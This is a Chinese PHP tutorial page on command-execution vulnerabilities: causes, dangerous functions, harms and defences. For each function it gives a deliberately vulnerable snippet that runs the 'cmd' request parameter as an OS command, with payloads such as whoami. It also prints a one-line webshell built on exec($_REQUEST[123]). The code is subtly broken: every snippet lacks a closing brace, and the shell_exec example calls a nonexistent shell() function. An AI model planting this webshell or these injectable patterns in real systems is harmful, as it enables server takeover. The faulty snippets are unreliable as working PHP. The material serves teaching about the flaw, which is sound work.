当前位置:首页 > PHP教程 > php应用 > 列表

php网络安全中命令执行漏洞的产生及本质探究

发布:smiling 来源: PHP粉丝网  添加日期:2023-06-26 11:48:24 浏览: 评论:0 

这篇文章主要介绍了php网络安全中命令执行漏洞的产生及本质,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习吧。

漏洞的产生原因

代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的

系统的漏洞造成命令注入

漏洞的本质

应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

涉及到的函数

1.system

2.exec()

3.shell_exec()

4.passthru()

5.popen()

6.反引号

命令执行漏洞的危害

1.继承Web 服务器程序权限(Web用户权限),去执行系统命令

2.继承Web服务器权限,读写文件

3.反弹Shell

4.控制整个网站

5.控制整个服务器

命令执行漏洞的防御

1、尽量少使用执行命令函数或者禁用disable_functions

2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义

3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义

命令执行相关函数的使用

system()

说明:能够将字符串作为OS命令执行,自带输出功能

测试参考代码:

  1. <?php 
  2. if(isset($_GET['cmd'])){ 
  3.     system($_GET['cmd']); 
  4. ?> 
  5. payload:?cmd=ipconfig 

exec()

说明:能将字符串作为OS命令执行,但无输出,需要输出执行结果print。

exec() 默认只输出最后一行的数据

如果想让他输出全部结果,可以加一个参数,即exec(ifconfig,$arr); print_r($arr);,如一句话木马:<?php exec($_REQUEST[123],$arr);print_r($arr)?>

测试参考代码

  1. <?php 
  2. if(isset($_GET['cmd'])){ 
  3.     print exec($_GET['cmd']); 
  4. ?> 
  5. payload:?cmd=whoami 

shell_exec()

说明:执行命令并以字符串的形式,返回完整的信息,但是函数无回显,需要输出执行结果。

测试参考代码

  1. <?php 
  2. if(isset($_GET['cmd'])){ 
  3.     print shell($_GET['cmd']); 
  4. ?> 
  5. payload:?cmd=whoami 

passthru()

说明:执行外部命令,与system()类似,但是该函数会直接将结果输出,无需输出执行。

测试参考代码

  1. <?php 
  2. if(isset($_GET['cmd'])){ 
  3.     passthru($_GET['cmd']); 
  4. ?> 
  5. payload:?cmd=whoami 

popen()

说明:能够执行OS命令,但是该函数并不是返回命令结果,而是返回一个文件指针

测试参考代码

  1. <?php 
  2. if(isset($_GET['cmd'])){ 
  3.     $cmd=$_GET['cmd'].">>1.txt"
  4.     popen($cmd,'r'); 
  5. ?> 
  6. payload:?cmd=whoami 

反引号

说明:反引号[``]内的字符串,也会被解析成OS命令

反引号背后执行的代码其实是调用了shell_exec(),所以禁用了shell_exec()同样反引号也无法使用了。

测试参考代码

  1. <?php 
  2. if(isset($_GET['cmd'])){ 
  3.     $cmd=$_GET['cmd']; 
  4.     print `$cmd`; 
  5. ?> 
  6. payload:?cmd=whoami

Tags: php命令执行漏洞

分享到: